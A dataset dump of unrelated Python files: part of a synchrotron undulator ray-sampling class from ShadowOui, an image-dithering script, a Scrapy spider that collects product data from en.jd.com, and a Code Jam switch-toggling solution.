\\n\"%(1e6*self._result_photon_size_sigma)\n\n txt += \"-----------------------------------------------------\\n\"\n return txt\n\n def get_resonance_ring(self,harmonic_number=1, ring_order=1):\n return 1.0/self.syned_electron_beam.gamma()*numpy.sqrt( ring_order / harmonic_number * (1+0.5*self.syned_undulator.K_vertical()**2) )\n\n\n def set_energy_monochromatic_at_resonance(self,harmonic_number):\n\n self.set_energy_monochromatic(self.syned_undulator.resonance_energy(\n self.syned_electron_beam.gamma(),harmonic=harmonic_number))\n # take 3*sigma - _MAXANGLE is in RAD\n self._MAXANGLE = 3 * 0.69 * self.syned_undulator.gaussian_central_cone_aperture(self.syned_electron_beam.gamma(),harmonic_number)\n\n def set_energy_monochromatic(self,emin):\n \"\"\"\n Sets a single energy line for the source (monochromatic)\n :param emin: the energy in eV\n :return:\n \"\"\"\n self._EMIN = emin\n self._EMAX = emin\n self._NG_E = 1\n\n\n def set_energy_box(self,emin,emax,npoints=None):\n \"\"\"\n Sets a box for photon energy distribution for the source\n :param emin: Photon energy scan from energy (in eV)\n :param emax: Photon energy scan to energy (in eV)\n :param npoints: Photon energy scan number of points (optinal, if not set no changes)\n :return:\n \"\"\"\n\n self._EMIN = emin\n self._EMAX = emax\n if npoints != None:\n self._NG_E = npoints\n\n def get_energy_box(self):\n \"\"\"\n Gets the limits of photon energy distribution for the source\n :return: emin,emax,number_of_points\n \"\"\"\n return self._EMIN,self._EMAX,self._NG_E\n\n\n def calculate_radiation(self):\n\n \"\"\"\n Calculates the radiation (emission) as a function of theta (elevation angle) and phi (azimuthal angle)\n This radiation will be sampled to create the source\n\n It calls undul_phot* in SourceUndulatorFactory\n\n :param code_undul_phot: 'internal' (calls undul_phot), 'pysru' (calls undul_phot_pysru) or\n 'srw' (calls undul_phot_srw)\n :return: a dictionary (the output from undul_phot*)\n \"\"\"\n\n # h = self.to_dictionary()\n # print(self.info())\n # os.system(\"rm -f xshundul.plt xshundul.par xshundul.traj xshundul.info xshundul.sha\")\n\n # if code_undul_phot != \"internal\" or code_undul_phot != \"srw\":\n # dump_uphot_dot_dat = True\n\n\n self._result_radiation = None\n\n # undul_phot\n if self.code_undul_phot == 'internal':\n undul_phot_dict = SourceUndulatorFactory.undul_phot(E_ENERGY = self.syned_electron_beam.energy(),\n INTENSITY = self.syned_electron_beam.current(),\n LAMBDAU = self.syned_undulator.period_length(),\n NPERIODS = self.syned_undulator.number_of_periods(),\n K = self.syned_undulator.K(),\n EMIN = self._EMIN,\n EMAX = self._EMAX,\n NG_E = self._NG_E,\n MAXANGLE = self._MAXANGLE,\n NG_T = self._NG_T,\n NG_P = self._NG_P,\n number_of_trajectory_points = self._NG_J)\n\n elif self.code_undul_phot == 'pysru' or self.code_undul_phot == 'pySRU':\n undul_phot_dict = SourceUndulatorFactoryPysru.undul_phot(E_ENERGY = self.syned_electron_beam.energy(),\n INTENSITY = self.syned_electron_beam.current(),\n LAMBDAU = self.syned_undulator.period_length(),\n NPERIODS = self.syned_undulator.number_of_periods(),\n K = self.syned_undulator.K(),\n EMIN = self._EMIN,\n EMAX = self._EMAX,\n NG_E = self._NG_E,\n MAXANGLE = self._MAXANGLE,\n NG_T = self._NG_T,\n NG_P = self._NG_P,)\n elif self.code_undul_phot == 'srw' or self.code_undul_phot == 'SRW':\n undul_phot_dict = SourceUndulatorFactorySrw.undul_phot(E_ENERGY = self.syned_electron_beam.energy(),\n INTENSITY = self.syned_electron_beam.current(),\n LAMBDAU = self.syned_undulator.period_length(),\n NPERIODS = self.syned_undulator.number_of_periods(),\n K = self.syned_undulator.K(),\n EMIN = self._EMIN,\n EMAX = self._EMAX,\n NG_E = self._NG_E,\n MAXANGLE = self._MAXANGLE,\n NG_T = self._NG_T,\n NG_P = self._NG_P,)\n else:\n raise Exception(\"Not implemented undul_phot code: \"+self.code_undul_phot)\n\n # add some info\n undul_phot_dict[\"code_undul_phot\"] = self.code_undul_phot\n undul_phot_dict[\"info\"] = self.info()\n\n self._result_radiation = undul_phot_dict\n\n #\n # get from results\n #\n\n def get_result_dictionary(self):\n if self._result_radiation is None:\n self.calculate_radiation()\n return self._result_radiation\n\n def get_result_radiation(self):\n return self.get_result_dictionary()[\"radiation\"]\n\n def get_result_polarization(self):\n return self.get_result_dictionary()[\"polarization\"]\n\n def get_result_polarisation(self):\n return self.get_result_polarization()\n\n def get_result_theta(self):\n return self.get_result_dictionary()[\"theta\"]\n\n def get_result_phi(self):\n return self.get_result_dictionary()[\"phi\"]\n\n def get_result_photon_energy(self):\n return self.get_result_dictionary()[\"photon_energy\"]\n\n\n def get_radiation_polar(self):\n return self.get_result_radiation(),self.get_result_photon_energy(),self.get_result_theta(),self.get_result_phi()\n\n def get_radiation(self):\n return self.get_radiation_polar()\n\n def get_radiation_interpolated_cartesian(self,npointsx=100,npointsz=100,thetamax=None):\n\n radiation,photon_energy, thetabm,phi = self.get_radiation_polar()\n\n if thetamax is None:\n thetamax = thetabm.max()\n\n vx = numpy.linspace(-1.1*thetamax,1.1*thetamax,npointsx)\n vz = numpy.linspace(-1.1*thetamax,1.1*thetamax,npointsz)\n VX = numpy.outer(vx,numpy.ones_like(vz))\n VZ = numpy.outer(numpy.ones_like(vx),vz)\n VY = numpy.sqrt(1 - VX**2 - VZ**2)\n\n THETA = numpy.abs(numpy.arctan( numpy.sqrt(VX**2+VZ**2)/VY))\n PHI = numpy.arctan2( numpy.abs(VZ),numpy.abs(VX))\n\n radiation_interpolated = numpy.zeros((radiation.shape[0],npointsx,npointsz))\n\n for i in range(radiation.shape[0]):\n interpolator_value = interpolate.RectBivariateSpline(thetabm, phi, radiation[i])\n radiation_interpolated[i] = interpolator_value.ev(THETA, PHI)\n\n return radiation_interpolated,photon_energy,vx,vz\n\n def get_power_density(self):\n\n radiation = self.get_result_radiation().copy()\n theta = self.get_result_theta()\n phi = self.get_result_phi()\n photon_energy = self.get_result_photon_energy()\n\n step_e = photon_energy[1]-photon_energy[0]\n\n for i in range(radiation.shape[0]):\n radiation[i] *= 1e-3 * photon_energy[i] # photons/eV/rad2 -> photons/0.1%bw/rad2\n\n if INTEGRATION_METHOD == 0:\n power_density = radiation.sum(axis=0) * step_e * codata.e * 1e3 # W/rad2\n else:\n power_density = numpy.trapz(radiation,photon_energy,axis=0) * codata.e * 1e3 # W/rad2\n\n return power_density,theta,phi\n\n\n def get_power_density_interpolated_cartesian(self,npointsx=100,npointsz=100,thetamax=None):\n\n power_density_polar,theta,phi = self.get_power_density()\n\n if thetamax is None:\n thetamax = theta.max()\n\n vx = numpy.linspace(-1.1*thetamax,1.1*thetamax,npointsx)\n vz = numpy.linspace(-1.1*thetamax,1.1*thetamax,npointsz)\n VX = numpy.outer(vx,numpy.ones_like(vz))\n VZ = numpy.outer(numpy.ones_like(vx),vz)\n VY = numpy.sqrt(1 - VX**2 - VZ**2)\n\n THETA = numpy.abs(numpy.arctan( numpy.sqrt(VX**2+VZ**2)/VY))\n PHI = numpy.arctan2( numpy.abs(VZ),numpy.abs(VX))\n\n interpolator_value = interpolate.RectBivariateSpline(theta, phi, power_density_polar)\n power_density_cartesian = interpolator_value.ev(THETA, PHI)\n\n return power_density_cartesian,vx,vz\n\n def get_flux_and_spectral_power(self):\n\n radiation2 = self.get_result_radiation().copy()\n theta = self.get_result_theta()\n phi = self.get_result_phi()\n photon_energy = self.get_result_photon_energy()\n THETA = numpy.outer(theta,numpy.ones_like(phi))\n for i in range(radiation2.shape[0]):\n radiation2[i] *= THETA\n\n if INTEGRATION_METHOD == 0:\n flux = radiation2.sum(axis=2).sum(axis=1) * (1e-3*photon_energy) # photons/eV -> photons/0.1%bw\n flux *= 4 * (theta[1]-theta[0]) * (phi[1]-phi[0]) # adding the four quadrants!\n else:\n flux = 4 * numpy.trapz(numpy.trapz(radiation2,phi,axis=2),theta,axis=1) * (1e-3*photon_energy) # photons/eV -> photons/0.1%bw\n\n\n spectral_power = flux*codata.e*1e3\n\n return flux,spectral_power,photon_energy\n\n def get_flux(self):\n flux,spectral_power,photon_energy = self.get_flux_and_spectral_power()\n return flux,photon_energy\n\n def get_spectral_power(self):\n flux,spectral_power,photon_energy = self.get_flux_and_spectral_power()\n return spectral_power,photon_energy\n\n def get_photon_size_distribution(self):\n return self._result_photon_size_distribution[\"x\"],self._result_photon_size_distribution[\"y\"]\n\n def calculate_rays(self,user_unit_to_m=1.0,F_COHER=0,NRAYS=5000,SEED=36255655452):\n \"\"\"\n compute the rays in SHADOW matrix (shape (npoints,18) )\n :param F_COHER: set this flag for coherent beam\n :param user_unit_to_m: default 1.0 (m)\n :return: rays, a numpy.array((npoits,18))\n \"\"\"\n\n if self._result_radiation is None:\n self.calculate_radiation()\n\n sampled_photon_energy,sampled_theta,sampled_phi = self._sample_photon_energy_theta_and_phi(NRAYS)\n\n if SEED != 0:\n numpy.random.seed(SEED)\n\n\n sigmas = self.syned_electron_beam.get_sigmas_all()\n\n rays = numpy.zeros((NRAYS,18))\n\n #\n # sample sizes (cols 1-3)\n #\n\n\n if self._FLAG_EMITTANCE:\n x_electron = numpy.random.normal(loc=0.0,scale=sigmas[0],size=NRAYS)\n y_electron = 0.0\n z_electron = numpy.random.normal(loc=0.0,scale=sigmas[2],size=NRAYS)\n else:\n x_electron = 0.0\n y_electron = 0.0\n z_electron = 0.0\n\n\n\n\n # calculate (and stores) sizes of the photon undulator beam\n # see formulas 25 & 30 in Elleaume (Onaki & Elleaume)\n # sp_phot = 0.69*numpy.sqrt(lambda1/undulator_length)\n undulator_length = self.syned_undulator.length()\n lambda1 = codata.h*codata.c/codata.e / numpy.array(sampled_photon_energy).mean()\n s_phot = 2.740/(4e0*numpy.pi)*numpy.sqrt(undulator_length*lambda1)\n self._result_photon_size_sigma = s_phot\n\n if self._FLAG_SIZE == 0:\n x_photon = 0.0\n y_photon = 0.0\n z_photon = 0.0\n # for plot, a delta\n x = numpy.linspace(-1e-6,1e-6,101)\n y = numpy.zeros_like(x)\n y[y.size//2] = 1.0\n self._result_photon_size_distribution = {\"x\":x,\"y\":y}\n elif self._FLAG_SIZE == 1:\n # TODO: I added this correction to obtain the sigma in the RADIAL coordinate, not in x and z.\n # RODO: TO be verified!\n s_phot_corrected = s_phot / numpy.sqrt(2)\n\n cov = [[s_phot_corrected**2, 0], [0, s_phot_corrected**2]]\n mean = [0.0,0.0]\n\n tmp = numpy.random.multivariate_normal(mean, cov, NRAYS)\n x_photon = tmp[:,0]\n y_photon = 0.0\n z_photon = tmp[:,1]\n\n # for plot, a Gaussian\n x = numpy.linspace(-5*s_phot,5*s_phot,101)\n y = numpy.exp(-x**2/2/s_phot**2)\n self._result_photon_size_distribution = {\"x\":x,\"y\":y}\n\n\n elif self._FLAG_SIZE == 2:\n # we need to retrieve the emission as a function of the angle\n radiation,photon_energy, theta,phi = self.get_radiation_polar()\n\n mean_photon_energy = numpy.array(sampled_photon_energy).mean() # todo: use the weighted mean?\n shape_radiation = radiation.shape\n radial_flux = radiation.sum(axis=2) / shape_radiation[2]\n radial_flux = radial_flux.sum(axis=0) / shape_radiation[0]\n # doble the arrays for 1D propagation\n THETA = numpy.concatenate((-theta[::-1],theta[1::]),axis=None)\n RADIAL_FLUX = numpy.concatenate( (radial_flux[::-1],radial_flux[1::]),axis=None)\n\n #\n # we propagate the emission at a long distance back to the source plane\n #\n distance = 100.\n\n magnification = s_phot*10 / (theta[-1]*distance)\n\n # do the propagation; result is stored in self._photon_size_distribution\n self._back_propagation_for_size_calculation(THETA,RADIAL_FLUX,\n mean_photon_energy,distance=distance,magnification=magnification)\n\n\n # we sample rays following the resulting radial distribution\n xx = self._result_photon_size_distribution[\"x\"]\n yy = self._result_photon_size_distribution[\"y\"]\n\n\n # #########################################################\n # # for plot, a Gaussian\n # xx = numpy.linspace(-5*s_phot,5*s_phot,101)\n # yy = numpy.exp(-xx**2/2/s_phot**2)\n # self._result_photon_size_distribution = {\"x\":xx,\"y\":yy}\n # #########################################################\n\n sampler_radial = Sampler1D(yy*numpy.abs(xx),xx)\n r,hy,hx = sampler_radial.get_n_sampled_points_and_histogram(NRAYS,bins=101)\n angle = numpy.random.random(NRAYS) * 2 * numpy.pi\n\n x_photon = r / numpy.sqrt(2.0) * numpy.sin(angle)\n y_photon = 0.0\n z_photon = r / numpy.sqrt(2.0) * numpy.cos(angle)\n\n\n rays[:,0] = x_photon + x_electron\n rays[:,1] = y_photon + y_electron\n rays[:,2] = z_photon + z_electron\n\n\n if user_unit_to_m != 1.0:\n rays[:,0] /= user_unit_to_m\n rays[:,1] /= user_unit_to_m\n rays[:,2] /= user_unit_to_m\n\n #\n # sample divergences (cols 4-6): the Shadow way\n #\n THETABM = sampled_theta\n PHI = sampled_phi\n A_Z = numpy.arcsin(numpy.sin(THETABM)*numpy.sin(PHI))\n A_X = numpy.arccos(numpy.cos(THETABM)/numpy.cos(A_Z))\n THETABM = A_Z\n PHI = A_X\n # ! C Decide in which quadrant THETA and PHI are.\n myrand = numpy.random.random(NRAYS)\n THETABM[numpy.where(myrand < 0.5)] *= -1.0\n myrand = numpy.random.random(NRAYS)\n PHI[numpy.where(myrand < 0.5)] *= -1.0\n\n if self._FLAG_EMITTANCE:\n EBEAM1 = numpy.random.normal(loc=0.0,scale=sigmas[1],size=NRAYS)\n EBEAM3 = numpy.random.normal(loc=0.0,scale=sigmas[3],size=NRAYS)\n ANGLEX = EBEAM1 + PHI\n ANGLEV = EBEAM3 + THETABM\n else:\n ANGLEX = PHI # E_BEAM(1) + PHI\n ANGLEV =THETABM # E_BEAM(3) + THETABM\n\n VX = numpy.tan(ANGLEX)\n VY = 1.0\n VZ = numpy.tan(ANGLEV)/numpy.cos(ANGLEX)\n VN = numpy.sqrt( VX*VX + VY*VY + VZ*VZ)\n VX /= VN\n VY /= VN\n VZ /= VN\n\n rays[:,3] = VX\n rays[:,4] = VY\n rays[:,5] = VZ\n\n\n #\n # electric field vectors (cols 7-9, 16-18) and phases (cols 14-15)\n #\n\n # beam.rays[:,6] = 1.0\n\n # ! C\n # ! C ---------------------------------------------------------------------\n # ! C POLARIZATION\n # ! C\n # ! C Generates the polarization of the ray. This is defined on the\n # ! C source plane, so that A_VEC is along the X-axis and AP_VEC is along Z-axis.\n # ! C Then care must be taken so that A will be perpendicular to the ray\n # ! C direction.\n # ! C\n # ! C\n # A_VEC(1) = 1.0D0\n # A_VEC(2) = 0.0D0\n # A_VEC(3) = 0.0D0\n\n DIREC = rays[:,3:6].copy()\n A_VEC = numpy.zeros_like(DIREC)\n A_VEC[:,0] = 1.0\n\n # ! C\n # ! C Rotate A_VEC so that it will be perpendicular to DIREC and with the\n # ! C right components on the plane.\n # ! C\n # CALL CROSS (A_VEC,DIREC,A_TEMP)\n A_TEMP = self._cross(A_VEC,DIREC)\n # CALL CROSS (DIREC,A_TEMP,A_VEC)\n A_VEC = self._cross(DIREC,A_TEMP)\n # CALL NORM (A_VEC,A_VEC)\n A_VEC = self._norm(A_VEC)\n # CALL CROSS (A_VEC,DIREC,AP_VEC)\n AP_VEC = self._cross(A_VEC,DIREC)\n # CALL NORM (AP_VEC,AP_VEC)\n AP_VEC = self._norm(AP_VEC)\n\n #\n # obtain polarization for each ray (interpolation)\n #\n\n\n if self._NG_E == 1: # 2D interpolation\n sampled_photon_energy = numpy.array(sampled_photon_energy) # be sure is an array\n fn = interpolate.RegularGridInterpolator(\n (self._result_radiation[\"theta\"],self._result_radiation[\"phi\"]),\n self._result_radiation[\"polarization\"][0])\n\n pts = numpy.dstack( (sampled_theta,\n sampled_phi) )\n pts = pts[0]\n POL_DEG = fn(pts)\n else: # 3D interpolation\n fn = interpolate.RegularGridInterpolator(\n (self._result_radiation[\"photon_energy\"],self._result_radiation[\"theta\"],self._result_radiation[\"phi\"]),\n self._result_radiation[\"polarization\"])\n\n pts = numpy.dstack( (sampled_photon_energy,\n sampled_theta,\n sampled_phi) )\n pts = pts[0]\n POL_DEG = fn(pts)\n\n # ! C\n # ! C WaNT A**2 = AX**2 + AZ**2 = 1 , instead of A_VEC**2 = 1 .\n # ! C\n # DENOM = SQRT(1.0D0 - 2.0D0*POL_DEG + 2.0D0*POL_DEG**2)\n # AX = POL_DEG/DENOM\n # CALL SCALAR (A_VEC,AX,A_VEC)\n # ! C\n # ! C Same procedure for AP_VEC\n # ! C\n # AZ = (1-POL_DEG)/DENOM\n # CALL SCALAR (AP_VEC,AZ,AP_VEC)\n\n DENOM = numpy.sqrt(1.0 - 2.0 * POL_DEG + 2.0 * POL_DEG**2)\n AX = POL_DEG/DENOM\n for i in range(3):\n A_VEC[:,i] *= AX\n\n AZ = (1.0-POL_DEG)/DENOM\n for i in range(3):\n AP_VEC[:,i] *= AZ\n\n rays[:,6:9] = A_VEC\n rays[:,15:18] = AP_VEC\n\n #\n # ! C\n # ! C Now the phases of A_VEC and AP_VEC.\n # ! C\n # IF (F_COHER.EQ.1) THEN\n # PHASEX = 0.0D0\n # ELSE\n # PHASEX = WRAN(ISTAR1) * TWOPI\n # END IF\n # PHASEZ = PHASEX + POL_ANGLE*I_CHANGE\n #\n POL_ANGLE = 0.5 * numpy.pi\n\n if F_COHER == 1:\n PHASEX = 0.0\n else:\n PHASEX = numpy.random.random(NRAYS) * 2 * numpy.pi\n\n PHASEZ = PHASEX + POL_ANGLE * numpy.sign(ANGLEV)\n\n rays[:,13] = PHASEX\n rays[:,14] = PHASEZ\n\n # set flag (col 10)\n rays[:,9] = 1.0\n\n #\n # photon energy (col 11)\n #\n\n A2EV = 2.0*numpy.pi/(codata.h*codata.c/codata.e*1e2)\n rays[:,10] = sampled_photon_energy * A2EV\n\n # col 12 (ray index)\n rays[:,11] = 1 + numpy.arange(NRAYS)\n\n # col 13 (optical path)\n rays[:,11] = 0.0\n\n return rays\n\n def _back_propagation_for_size_calculation(self,theta,radiation_flux,photon_energy,\n distance=100.0,magnification=0.010000):\n \"\"\"\n Calculate the radiation_flux vs theta at a \"distance\"\n Back propagate to -distance\n The result is the size distrubution\n\n :param theta:\n :param radiation_flux:\n :param photon_energy:\n :param distance:\n :param magnification:\n :return: None; stores results in self._photon_size_distribution\n \"\"\"\n\n from wofry.propagator.wavefront1D.generic_wavefront import GenericWavefront1D\n from wofry.propagator.propagator import PropagationManager, PropagationElements, PropagationParameters\n from syned.beamline.beamline_element import BeamlineElement\n from syned.beamline.element_coordinates import ElementCoordinates\n from wofryimpl.propagator.propagators1D.fresnel_zoom import FresnelZoom1D\n from wofryimpl.beamline.optical_elements.ideal_elements.screen import WOScreen1D\n\n\n input_wavefront = GenericWavefront1D().initialize_wavefront_from_arrays(theta*distance,numpy.sqrt(radiation_flux)+0j)\n input_wavefront.set_photon_energy(photon_energy)\n input_wavefront.set_spherical_wave(radius=distance,complex_amplitude=numpy.sqrt(radiation_flux)+0j)\n # input_wavefront.save_h5_file(\"tmp2.h5\",\"wfr\")\n\n optical_element = WOScreen1D()\n #\n # propagating\n #\n #\n propagation_elements = PropagationElements()\n beamline_element = BeamlineElement(optical_element=optical_element,\n coordinates=ElementCoordinates(p=0.0,q=-distance,\n angle_radial=numpy.radians(0.000000),\n angle_azimuthal=numpy.radians(0.000000)))\n propagation_elements.add_beamline_element(beamline_element)\n propagation_parameters = PropagationParameters(wavefront=input_wavefront.duplicate(),propagation_elements = propagation_elements)\n propagation_parameters.set_additional_parameters('magnification_x', magnification)\n\n #\n propagator = PropagationManager.Instance()\n try:\n propagator.add_propagator(FresnelZoom1D())\n except:\n pass\n output_wavefront = propagator.do_propagation(propagation_parameters=propagation_parameters,handler_name='FRESNEL_ZOOM_1D')\n\n self._result_photon_size_distribution = {\"x\":output_wavefront.get_abscissas(),\"y\":output_wavefront.get_intensity()}\n\n\n def _cross(self,u,v):\n # w = u X v\n # u = array (npoints,vector_index)\n\n w = numpy.zeros_like(u)\n w[:,0] = u[:,1] * v[:,2] - u[:,2] * v[:,1]\n w[:,1] = u[:,2] * v[:,0] - u[:,0] * v[:,2]\n w[:,2] = u[:,0] * v[:,1] - u[:,1] * v[:,0]\n\n return w\n\n def _norm(self,u):\n # w = u / |u|\n # u = array (npoints,vector_index)\n u_norm = numpy.zeros_like(u)\n uu = numpy.sqrt( u[:,0]**2 + u[:,1]**2 + u[:,2]**2)\n for i in range(3):\n u_norm[:,i] = uu\n return u / u_norm\n\n def _sample_photon_energy_theta_and_phi(self,NRAYS):\n\n #\n # sample divergences\n #\n\n theta = self._result_radiation[\"theta\"]\n phi = self._result_radiation[\"phi\"]\n photon_energy = self._result_radiation[\"photon_energy\"]\n\n photon_energy_spectrum = 'polychromatic' # 'monochromatic' #\n if self._EMIN == self._EMAX:\n photon_energy_spectrum = 'monochromatic'\n if self._NG_E == 1:\n photon_energy_spectrum = 'monochromatic'\n\n\n if photon_energy_spectrum == 'monochromatic':\n\n #2D case\n tmp = self._result_radiation[\"radiation\"][0,:,:].copy()\n tmp /= tmp.max()\n\n # correct radiation for DxDz / DthetaDphi\n tmp_theta = numpy.outer(theta,numpy.ones_like(phi))\n tmp_theta /= tmp_theta.max()\n tmp_theta += 1e-6 # to avoid zeros\n tmp *= tmp_theta\n # plot_image(tmp_theta,theta,phi,aspect='auto')\n\n s2d = Sampler2D(tmp,theta,phi)\n sampled_theta,sampled_phi = s2d.get_n_sampled_points(NRAYS)\n\n sampled_photon_energy = self._EMIN\n\n elif photon_energy_spectrum == \"polychromatic\":\n #3D case\n tmp = self._result_radiation[\"radiation\"].copy()\n tmp /= tmp.max()\n # correct radiation for DxDz / DthetaDphi\n tmp_theta = numpy.outer(theta,numpy.ones_like(phi))\n tmp_theta /= tmp_theta.max()\n tmp_theta += 1e-6 # to avoid zeros\n for i in range(tmp.shape[0]):\n tmp[i,:,:] *= tmp_theta\n\n s3d = Sampler3D(tmp,photon_energy,theta,phi)\n\n sampled_photon_energy,sampled_theta,sampled_phi = s3d.get_n_sampled_points(NRAYS)\n\n\n return sampled_photon_energy,sampled_theta,sampled_phi\n\n\n","repo_name":"oasys-kit/ShadowOui","sub_path":"orangecontrib/shadow/util/undulator/source_undulator.py","file_name":"source_undulator.py","file_ext":"py","file_size_in_byte":35662,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"61"} +{"seq_id":"3632195677","text":"from PIL import Image\nimport numpy as np\nfrom matplotlib import pyplot\nfrom matplotlib import image\nimport random\n###################################################\n## Import Image here\nimage = Image.open('src/pics/lit.jpg')\n## Set the Size here\nsize = 128 #px\n###################################################\nload_img_rz = np.array(image.resize((size,size)))\nImage.fromarray(np.uint8(load_img_rz)).save('r_pic.jpg')\ngrey_img = np.zeros(shape = (size,size))\nthreshold = 300\nbl_threshold = 150\nwh_threshold = 500\nfor i in range(0,size):\n for j in range(0,size):\n if(sum(load_img_rz[i,j]) < bl_threshold):\n grey_img[i,j] = 0\n if(j<size-1 and random.randint(1,16) == 2):\n grey_img[i,j+1] = 0\n if(i<size-1 and random.randint(1,16) == 2):\n grey_img[i+1,j] = 0\n if(j > 0 and random.randint(1,16) == 2):\n grey_img[i,j-1] = 0\n elif(sum(load_img_rz[i,j]) > wh_threshold):\n grey_img[i,j] = 255\n if(j<size-1 and random.randint(1,2) == 2):\n grey_img[i,j+1] = 255\n if(i<size-1 and random.randint(1,2) == 2):\n grey_img[i+1,j] = 255\n if(j>0 and random.randint(1,2) == 2):\n grey_img[i,j-1] = 255\n elif(sum(load_img_rz[i,j]) < threshold and grey_img[i,j] != 255):\n grey_img[i,j] = 0\n if(j < size-1 and random.randint(1,4) == 2):\n grey_img[i,j+1] = 255\n if(i < size-1 and random.randint(1,4) == 2):\n grey_img[i+1,j] = 255\n if(j < size-1 and random.randint(1,4) == 2):\n grey_img[i+1,j+1] = 255\n if(j > 0 and random.randint(1,4) == 2):\n grey_img[i+1,j-1] = 255\n elif(sum(load_img_rz[i,j]) >= threshold):\n grey_img[i,j] = 255\n \nImage.fromarray(np.uint8(grey_img)).save('bw_pic.jpg')","repo_name":"JoeyGaffney/picxel","sub_path":"src/pixel.py","file_name":"pixel.py","file_ext":"py","file_size_in_byte":1923,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41787639875","text":"import json\nimport re\nfrom scrapy import Request\nfrom scrapy.log import ERROR, WARNING\nfrom product_ranking.spiders import BaseProductsSpider, FormatterWithDefaults, \\\n cond_set, cond_set_value, populate_from_open_graph\nfrom product_ranking.items import SiteProductItem, RelatedProduct, Price, \\\n BuyerReviews\nfrom spiders_shared_code.jden_variants import JdVariants\n\n\nclass JdProductsSpider(BaseProductsSpider):\n name = 'jden_products'\n allowed_domains = ['en.jd.com', 'ipromo.jd.com']\n SEARCH_URL = ('http://en.jd.com/search?'\n 'keywords={search_term}&'\n 'sortType={search_sort}&'\n 'showType=grid')\n PRICE_URL = ('http://ipromo.jd.com/api/promoinfo/getCurJdPrice.html?'\n 'json={{\"sid\":\"{prod_id}\",\"curList\":[\"USD\"]}}&'\n 'callback=curJdPriceCallBack')\n DESCRIPTION_URL = ('http://en.jd.com/product/getDescription.html?callback='\n 'descriptionCallback&wareid={prod_id}')\n\n SEARCH_SORT = {\n 'default': 'relevance_desc',\n 'best_match': 'relevance_desc',\n 'newest': 'sort_by_onlinetime_desc',\n 'popular': 'sort_total_sale_amount_desc',\n 'price_asc': 'sort_lowprice_asc',\n 'price_desc': 'sort_highprice_desc'\n }\n\n def __init__(self, search_sort='default', *args, **kwargs):\n super(JdProductsSpider, self).__init__(\n url_formatter=FormatterWithDefaults(\n search_sort=self.SEARCH_SORT[search_sort],\n ),\n site_name=self.allowed_domains[0],\n *args, **kwargs)\n\n def _scrape_total_matches(self, response):\n total = response.css('.total::text').extract()\n if total:\n return int(total[0])\n return 0\n\n def _scrape_product_links(self, response):\n items = response.css('.list-products-t > ul > li > '\n '.p-pic > a::attr(href)').extract()\n if not items:\n self.log(\"Found no product links.\", WARNING)\n response.meta['prods_per_page'] = len(items)\n\n for link in items:\n yield link, SiteProductItem()\n\n def _scrape_next_results_page_link(self, response):\n next_link = response.css('.p-turn.p-next::attr(href)').extract()\n if next_link:\n return next_link[0]\n return None\n\n def parse_product(self, response):\n prod = response.meta['product']\n\n prod['locale'] = 'en-GB' # ?\n prod['is_out_of_stock'] = False # ?\n title = response.xpath('//div[@id=\"name\"]//h1/text()').extract()\n cond_set(prod, 'title', title)\n\n image_url = response.xpath('//div[contains(@class, \"spec-items\")]//ul/li/img/@src').extract()\n prod['image_url'] = image_url\n sku = response.xpath('//div[@id=\"summary-price\"]//a/@data-sku').extract()\n if len(sku) > 0:\n sku = sku[0]\n # prod_id = response.css('#summary::attr(data-ware-id)').extract()[0]\n prod_id = sku\n cond_set_value(prod, 'sku', sku)\n self._parse_variants(response)\n\n reqs = list()\n reqs.append(Request(self.PRICE_URL.format(prod_id=sku),\n callback=self._parse_price))\n reqs.append(Request(self.DESCRIPTION_URL.format(prod_id=prod_id),\n callback=self._parse_description))\n return self.send_next_request(reqs, response)\n\n def _parse_variants(self, response):\n prod = response.meta['product']\n jv = JdVariants()\n jv.setupSC(response)\n prod['variants'] = jv._variants()\n\n def _parse_price(self, response):\n prod = response.meta['product']\n try:\n str_data = re.findall('curJdPriceCallBack\\((\\{.*\\})\\)',\n response.body_as_unicode())\n data = json.loads(str_data[0])\n price_json = data['priceList'][0]\n price_discount = price_json.get('discountPrice')\n price_orig = price_json.get('jdPrice')\n if price_discount:\n prod['price_original'] = price_orig\n price = Price(\n price=price_discount or price_orig,\n priceCurrency=price_json['currency']\n )\n prod['price'] = price\n except Exception as e:\n self.log(\"Get price error: %s\" % e, WARNING)\n reqs = response.meta.get('reqs')\n return self.send_next_request(reqs, response)\n\n def _parse_description(self, response):\n prod = response.meta['product']\n try:\n str_data = re.findall('descriptionCallback\\((.+)\\)',\n response.body_as_unicode())\n data = json.loads(str_data[0])\n descr = data['descriptionVO']['description']\n prod['description'] = descr\n except Exception as e:\n self.log(\"Get description error: %s\" % e, WARNING)\n reqs = response.meta.get('reqs')\n return self.send_next_request(reqs, response)\n\n def _parse_single_product(self, response):\n return self.parse_product(response)\n\n def send_next_request(self, reqs, response):\n \"\"\"\n Helps to handle several requests\n \"\"\"\n if not reqs:\n return response.meta['product']\n req = reqs.pop(0)\n new_meta = response.meta.copy()\n\n if reqs:\n new_meta[\"reqs\"] = reqs\n\n return req.replace(meta=new_meta)","repo_name":"aprosdev/ecom-predictor","sub_path":"product-ranking/product_ranking/spiders/jd_en.py","file_name":"jd_en.py","file_ext":"py","file_size_in_byte":5445,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"23600797351","text":"def solve(N, K):\n states = [0 for i in range(N)]\n initial = states[:]\n power = 1\n K = K % (2**N)\n if (K + 1) == 2**N:\n return \"ON\"\n else:\n return \"OFF\"\n for it in range(K):\n # print \"%s -> %d is online\" % (str(states), power)\n for i in range(power):\n states[i] = 1 - states[i]\n power = 1\n cycle_len = -1\n while power < N and states[power - 1] == 1:\n power += 1\n # print \"Final power is \" + str(power)\n # print \"Final states: \" + str(states)\n if power == N and states[N-1] == 1:\n return \"ON\"\n else:\n return \"OFF\"\n \ninput = open(\"input.txt\", \"r\").readlines()\noutput = open(\"output.txt\", \"w\")\n\nNTest = int(input[0])\nfor it in range(NTest):\n parts = input[it + 1].split(\" \")\n res = solve(int(parts[0]), int(parts[1]))\n output.write(\"Case #%d: %s\\n\" % (it + 1, res))\n\noutput.close()\n \n\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_53/414.py","file_name":"414.py","file_ext":"py","file_size_in_byte":835,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38863316665","text":"# -*- coding: 